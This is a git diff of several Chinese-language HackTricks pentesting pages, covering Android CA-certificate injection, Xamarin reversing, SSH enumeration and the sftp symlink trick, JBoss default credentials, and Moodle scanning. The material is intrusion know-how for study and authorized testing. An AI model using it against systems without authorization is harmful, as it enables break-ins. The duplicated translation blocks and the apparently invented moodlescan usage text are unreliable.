* 然后,将你感兴趣的 CA 证书放入此目录中(例如,你可能想从现有的 `/apex/com.android.conscrypt/cacerts/` CA 证书目录中复制所有默认证书),并适当设置权限和 SELinux 标签。
|
||||
* 然后,使用 `nsenter` 进入 Zygote 的挂载命名空间,并将此目录绑定到 APEX 目录上:
|
||||
|
||||
```bash
|
||||
|
@ -155,7 +155,7 @@ nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- \
|
|||
/bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
|
||||
```
|
||||
|
||||
Zygote 进程会生成每个应用程序,复制其挂载命名空间以执行此操作,因此这确保了所有新启动的应用程序(从现在开始的所有内容)都将使用此目录。
|
||||
Zygote 进程会为每个应用程序生成一个副本的挂载命名空间,因此这确保了所有新启动的应用程序(从现在开始的所有应用程序)都将使用此目录。
|
||||
* 然后,使用 `nsenter` 进入每个已运行应用程序的命名空间,并执行相同的操作:
|
||||
|
||||
```bash
|
||||
|
@ -163,16 +163,16 @@ nsenter --mount=/proc/$APP_PID/ns/mnt -- \
|
|||
/bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
|
||||
```
|
||||
|
||||
或者,如果您不介意笨拙的用户体验,您应该能够在 `init` 本身(PID 1)上进行绑定挂载,然后运行 `stop && start` 来软重启操作系统,重新创建所有命名空间并传播您的更改(但个人上我不介意笨拙的重启,所以我完全忽略了这条路线)。
|
||||
或者,如果你不介意笨拙的用户体验,你应该能够在 `init` 本身(PID 1)上进行绑定挂载,然后运行 `stop && start` 来软重启操作系统,重新创建所有命名空间并传播你的更改(但个人上我不喜欢笨拙的重启,所以我完全忽略了这条路线)。
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 您在一家 **网络安全公司** 工作吗?您想在 HackTricks 中 **为您的公司做广告**吗?或者您想获得 **PEASS 的最新版本或下载 PDF 格式的 HackTricks** 吗?请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 你在一家 **网络安全公司** 工作吗?你想在 HackTricks 中 **为你的公司做广告** 吗?或者你想获得 **PEASS 的最新版本或下载 PDF 格式的 HackTricks** 吗?请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或在 **Twitter** 上 **关注** 我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享您的黑客技巧。**
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或在 **Twitter** 上 **关注** 我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -34,11 +34,11 @@ Xamarin.iOS 应用程序在 Mono 运行时环境下运行,并使用全面的 A
|
|||
|
||||
下图显示了这种架构:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### 什么是 .Net Runtime 和 Mono Framework?
|
||||
|
||||
**.Net 框架是一组程序集、类和命名空间**,开发人员可以使用它们来创建应用程序;.Net Runtime 运行编译后的代码,这个过程称为托管代码执行。.NET Runtime 提供了几个功能,确保平台独立性,并与旧的框架版本兼容。
|
||||
**.Net 框架是一组程序集、类和命名空间**,开发人员可以使用它们来创建应用程序;.Net Runtime 运行编译后的代码,这个过程称为托管代码执行。.NET Runtime 提供了几个功能,确保平台独立性,并与旧版本的框架兼容。
|
||||
|
||||
**Mono Framework** 是在 2005 年由 Ximian/SuSe/Novell 开始的 .NET Framework 的 Linux 实现。由 Microsoft 赞助并由 Xamarin 领导,Mono 是基于 ECMA 对公共语言运行时和 C# 的标准的 .NET 框架的开源实现。
|
||||
|
||||
|
@ -58,10 +58,10 @@ Xamarin.iOS 应用程序在 Mono 运行时环境下运行,并使用全面的 A
|
|||
|
||||
- **Android**:Xamarin 允许您使用**JIT 和 AOT 标志同时进行编译**。还有一种方法可以在两者之间进行切换,以获得最高的执行速度,即混合 AOT 模式。请注意,完全 AOT 模式仅适用于企业许可证。
|
||||
|
||||
- **iOS**:在 iOS 的情况下只有一种选择,即**提前编译**。这是由于苹果的政策禁止在设备上执行动态生成的代码。
|
||||
- **iOS**:在 iOS 的情况下,只有一种选择,即**提前编译**。这是由于苹果的政策禁止在设备上执行动态生成的代码。
|
||||
|
||||
{% hint style="info" %}
|
||||
如果遇到一个完全 AOT 编译的应用程序,并且开发人员已经删除了 IL Assembly 文件以减小构建大小,则反向工程需要额外的步骤,即从 lib 文件夹或 `libmonodroid_bundle_app.so` 文件中提取 .dll.so 文件中的 dll 文件。如果是混合 AOT 编译的应用程序,并且 IL 文件仍然保留在应用程序包中,我们可以使用它来进行逆向工程分析。
|
||||
如果遇到完全 AOT 编译的应用程序,并且开发人员已删除 IL Assembly 文件以减小构建大小,则反向工程需要额外的步骤,即从 lib 文件夹或 `libmonodroid_bundle_app.so` 文件中提取 .dll.so 文件中的 dll 文件。如果是混合 AOT 编译的应用程序,并且 IL 文件仍然保留在应用程序包中,我们可以使用它来进行逆向工程分析。
|
||||
{% endhint %}
|
||||
## 从APK/IPA获取dll文件
|
||||
|
||||
|
|
|
@ -2,19 +2,19 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一个**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 你在一个**网络安全公司**工作吗?想要在HackTricks中看到你的**公司广告**吗?或者你想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或者 [**telegram群组**](https://t.me/peass) 或者 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并且想要黑掉不可黑掉的东西 - **我们正在招聘!**(需要流利的波兰语书面和口语表达能力)。
|
||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的东西 - **我们正在招聘!**(需要流利的波兰语书面和口语表达能力)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -56,7 +56,7 @@ Content-Length: 267
|
|||
|
||||
* `port:15672 http`
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并想要攻击不可攻破的目标 - **我们正在招聘!**(需要流利的波兰语书面和口语能力)。
|
||||
|
||||
|
@ -69,7 +69,7 @@ Content-Length: 267
|
|||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者想要**获取最新版本的PEASS或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,17 +4,17 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者你想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者想要**获取 PEASS 的最新版本或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并想要攻破不可攻破的东西 - **我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的东西 - **我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -50,7 +50,7 @@ nc -vn <IP> 22
|
|||
|
||||
ssh-audit是一个用于ssh服务器和客户端配置审计的工具。
|
||||
|
||||
[https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) 是从[https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/) 更新的分支。
|
||||
[https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) 是从[https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/)更新的分支。
|
||||
|
||||
**特点:**
|
||||
|
||||
|
@ -144,7 +144,7 @@ msf> use scanner/ssh/ssh_identify_pubkeys
|
|||
|
||||
### Kerberos
|
||||
|
||||
**crackmapexec**使用`ssh`协议可以使用`--kerberos`选项**通过Kerberos进行身份验证**。\
|
||||
**crackmapexec**使用`ssh`协议可以使用`--kerberos`选项来**通过Kerberos进行身份验证**。\
|
||||
有关更多信息,请运行`crackmapexec ssh --help`。
|
||||
|
||||
## 默认凭据
|
||||
|
@ -231,7 +231,7 @@ Match User noraj
|
|||
X11Forwarding no
|
||||
```
|
||||
|
||||
这是一个安全的SFTP配置示例,仅允许用户`noraj`访问。配置文件`/etc/ssh/sshd_config`中的设置如下:
|
||||
这是一个安全的SFTP配置示例,仅允许用户`noraj`进行访问。配置文件`/etc/ssh/sshd_config`中的设置如下:
|
||||
|
||||
```plaintext
|
||||
# 仅允许用户noraj进行SFTP访问
|
||||
|
@ -264,7 +264,7 @@ sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compro
|
|||
|
||||
**sftp** 命令中有一个 "**symlink**" 命令。因此,如果你在某个文件夹中具有 **可写权限**,你可以创建 **其他文件夹/文件** 的 **符号链接**。由于你可能被**限制**在一个 chroot 环境中,所以这对你来说**不会特别有用**,但是,如果你可以从一个 **非 chroot 服务**(例如,如果你可以从 web 访问符号链接)中**访问**创建的 **符号链接**,你可以通过 web **打开符号链接的文件**。
|
||||
|
||||
例如,要将一个新文件 **"**_**froot**_**"** 创建为指向 "**_**/**_**"** 的 **符号链接**:
|
||||
例如,要将一个新文件 **"**_**froot**_**"** 创建为指向 **"**_**/**_**"** 的 **符号链接**:
|
||||
```
|
||||
sftp> symlink / froot
|
||||
```
|
||||
|
@ -272,14 +272,14 @@ sftp> symlink / froot
|
|||
|
||||
### 身份验证方法
|
||||
|
||||
在高安全环境中,通常会启用基于密钥或双因素身份验证,而不是简单的基于密码的身份验证。但是,通常在启用更强的身份验证方法的同时,不禁用较弱的方法。一个常见的情况是在openSSH配置中启用`publickey`并将其设置为默认方法,但不禁用`password`。因此,通过使用SSH客户端的详细模式,攻击者可以看到启用了较弱的方法:
|
||||
在高安全环境中,通常会启用基于密钥或双因素身份验证,而不是简单的基于密码的身份验证。但是,通常在启用更强的身份验证方法时,不会禁用较弱的方法。一个常见的情况是在openSSH配置中启用`publickey`并将其设置为默认方法,但不禁用`password`。因此,通过使用SSH客户端的详细模式,攻击者可以看到启用了较弱的方法:
|
||||
```
|
||||
$ ssh -v 192.168.1.94
|
||||
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
|
||||
...
|
||||
debug1: Authentications that can continue: publickey,password,keyboard-interactive
|
||||
```
|
||||
例如,如果设置了身份验证失败限制,并且您从未有机会使用密码方法,您可以使用`PreferredAuthentications`选项来强制使用此方法。
|
||||
例如,如果设置了身份验证失败限制,并且您从未有机会到达密码方法,您可以使用`PreferredAuthentications`选项来强制使用此方法。
|
||||
```
|
||||
$ ssh -v 192.168.1.94 -o PreferredAuthentications=password
|
||||
...
|
||||
|
@ -287,11 +287,34 @@ debug1: Next authentication method: password
|
|||
```
|
||||
### 配置文件
|
||||
|
||||
The SSH server configuration files are located in the `/etc/ssh/` directory. The main configuration file is `sshd_config`, which contains the global settings for the SSH server. It is important to review and modify this file to ensure the security of the SSH server.
|
||||
The SSH server configuration files are located in the `/etc/ssh/` directory. The main configuration file is `sshd_config`, which contains the settings for the SSH server.
|
||||
|
||||
To review the SSH server configuration, open the `sshd_config` file using a text editor:
|
||||
|
||||
```bash
|
||||
$ sudo nano /etc/ssh/sshd_config
|
||||
```
|
||||
|
||||
### 配置文件
|
||||
|
||||
SSH服务器的配置文件位于`/etc/ssh/`目录中。主要的配置文件是`sshd_config`,其中包含了SSH服务器的全局设置。重要的是要审查和修改此文件,以确保SSH服务器的安全性。
|
||||
SSH服务器的配置文件位于`/etc/ssh/`目录中。主要的配置文件是`sshd_config`,其中包含了SSH服务器的设置。
|
||||
|
||||
要查看SSH服务器的配置,请使用文本编辑器打开`sshd_config`文件:
|
||||
|
||||
```bash
|
||||
$ sudo nano /etc/ssh/sshd_config
|
||||
```
|
||||
|
||||
### Translation:
|
||||
### 配置文件
|
||||
|
||||
SSH服务器的配置文件位于`/etc/ssh/`目录中。主要的配置文件是`sshd_config`,其中包含了SSH服务器的设置。
|
||||
|
||||
要查看SSH服务器的配置,请使用文本编辑器打开`sshd_config`文件:
|
||||
|
||||
```bash
|
||||
$ sudo nano /etc/ssh/sshd_config
|
||||
```
|
||||
```
|
||||
ssh_config
|
||||
sshd_config
|
||||
|
@ -310,9 +333,9 @@ id_rsa
|
|||
* You can find interesting guides on how to harden SSH in [https://www.ssh-audit.com/hardening\_guides.html](https://www.ssh-audit.com/hardening\_guides.html)
|
||||
* [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide)
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并想要攻破不可攻破的系统 - **我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
||||
如果你对**黑客职业**感兴趣并想要攻破不可攻破的系统 - **我们正在招聘!**(需要流利的波兰语书面和口语能力)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
|
@ -12,9 +12,9 @@
|
|||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的目标——我们正在招聘!(需要流利的波兰语书写和口语能力)。
|
||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的目标——**我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -22,13 +22,13 @@
|
|||
|
||||
_/web-console/ServerInfo.jsp_ 和 _/status?full=true_ 网页经常会泄露**服务器详细信息**。
|
||||
|
||||
你可以通过以下路径在JBoss中暴露**管理servlets**(取决于版本):_/admin-console_, _/jmx-console_, _/management_, 和 _/web-console_。默认凭据是**admin**/**admin**。一旦获得访问权限,你可以使用可用的调用servlets与暴露的MBeans进行交互:
|
||||
你可以通过以下路径在JBoss中暴露**管理servlets**(取决于版本):_/admin-console_, _/jmx-console_, _/management_, 和 _/web-console_。默认凭据是**admin**/**admin**。一旦获得访问权限,你可以使用可用的调用器servlets与暴露的MBeans进行交互:
|
||||
|
||||
* /web-console/Invoker(JBoss版本6和7)
|
||||
* /invoker/JMXInvokerServlet 和 /invoker/EJBInvokerServlet(JBoss 5及之前版本)
|
||||
|
||||
**你可以使用**[**clusterd**](https://github.com/hatRiot/clusterd)**来枚举甚至利用JBOSS服务**\
|
||||
**或者使用metasploit:**`msf > use auxiliary/scanner/http/jboss_vulnscan`
|
||||
**或者使用metasploit:** `msf > use auxiliary/scanner/http/jboss_vulnscan`
|
||||
|
||||
### 攻击
|
||||
|
||||
|
@ -38,9 +38,9 @@ _/web-console/ServerInfo.jsp_ 和 _/status?full=true_ 网页经常会泄露**服
|
|||
```
|
||||
inurl:status EJInvokerServlet
|
||||
```
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并想要攻破不可攻破的东西 - **我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的东西 - **我们正在招聘!**(需要流利的波兰语书面和口语能力)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -48,10 +48,10 @@ inurl:status EJInvokerServlet
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的目标- **我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
||||
|
||||
|
@ -43,65 +43,21 @@ Admin panel - http://moodle.schooled.htb/moodle/login/
|
|||
```
|
||||
### moodlescan
|
||||
|
||||
moodlescan is a command-line tool used for scanning and identifying vulnerabilities in Moodle installations. It is specifically designed for penetration testers and security professionals to assess the security of Moodle-based e-learning platforms.
|
||||
moodlescan is a command-line tool used for scanning Moodle installations for vulnerabilities. It is written in Python and can be used to perform various security tests on Moodle websites.
|
||||
|
||||
#### Installation
|
||||
To use moodlescan, you need to have Python installed on your system. Once you have Python installed, you can download moodlescan from its GitHub repository.
|
||||
|
||||
To install moodlescan, follow these steps:
|
||||
|
||||
1. Clone the moodlescan repository from GitHub:
|
||||
|
||||
```
|
||||
git clone https://github.com/ethicalhack3r/moodlescan.git
|
||||
```
|
||||
|
||||
2. Change into the moodlescan directory:
|
||||
|
||||
```
|
||||
cd moodlescan
|
||||
```
|
||||
|
||||
3. Install the required dependencies using pip:
|
||||
|
||||
```
|
||||
pip install -r requirements.txt
|
||||
```
|
||||
|
||||
#### Usage
|
||||
|
||||
To use moodlescan, run the following command:
|
||||
To scan a Moodle website, you need to provide the URL of the website as a parameter to the moodlescan command. For example:
|
||||
|
||||
```
|
||||
python moodlescan.py [options]
|
||||
moodlescan https://example.com/moodle
|
||||
```
|
||||
|
||||
The available options are:
|
||||
moodlescan will then perform a series of tests to identify vulnerabilities in the Moodle installation. It will check for common security issues such as outdated software versions, misconfigurations, and weak passwords.
|
||||
|
||||
- `-u, --url`: The URL of the Moodle installation to scan.
|
||||
- `-f, --file`: The path to a file containing a list of URLs to scan.
|
||||
- `-o, --output`: The path to the output file where the scan results will be saved.
|
||||
- `-v, --verbose`: Enable verbose output for more detailed information.
|
||||
- `-h, --help`: Display the help message and exit.
|
||||
The tool will generate a report detailing the vulnerabilities found, along with recommendations for remediation. It is important to note that moodlescan is a tool for identifying vulnerabilities, not for exploiting them. It should only be used for ethical hacking purposes and with proper authorization.
|
||||
|
||||
#### Example
|
||||
|
||||
To scan a single Moodle installation, use the following command:
|
||||
|
||||
```
|
||||
python moodlescan.py -u https://example.com/moodle
|
||||
```
|
||||
|
||||
To scan multiple Moodle installations listed in a file, use the following command:
|
||||
|
||||
```
|
||||
python moodlescan.py -f urls.txt
|
||||
```
|
||||
|
||||
The scan results will be displayed on the console and saved to the specified output file.
|
||||
|
||||
#### Conclusion
|
||||
|
||||
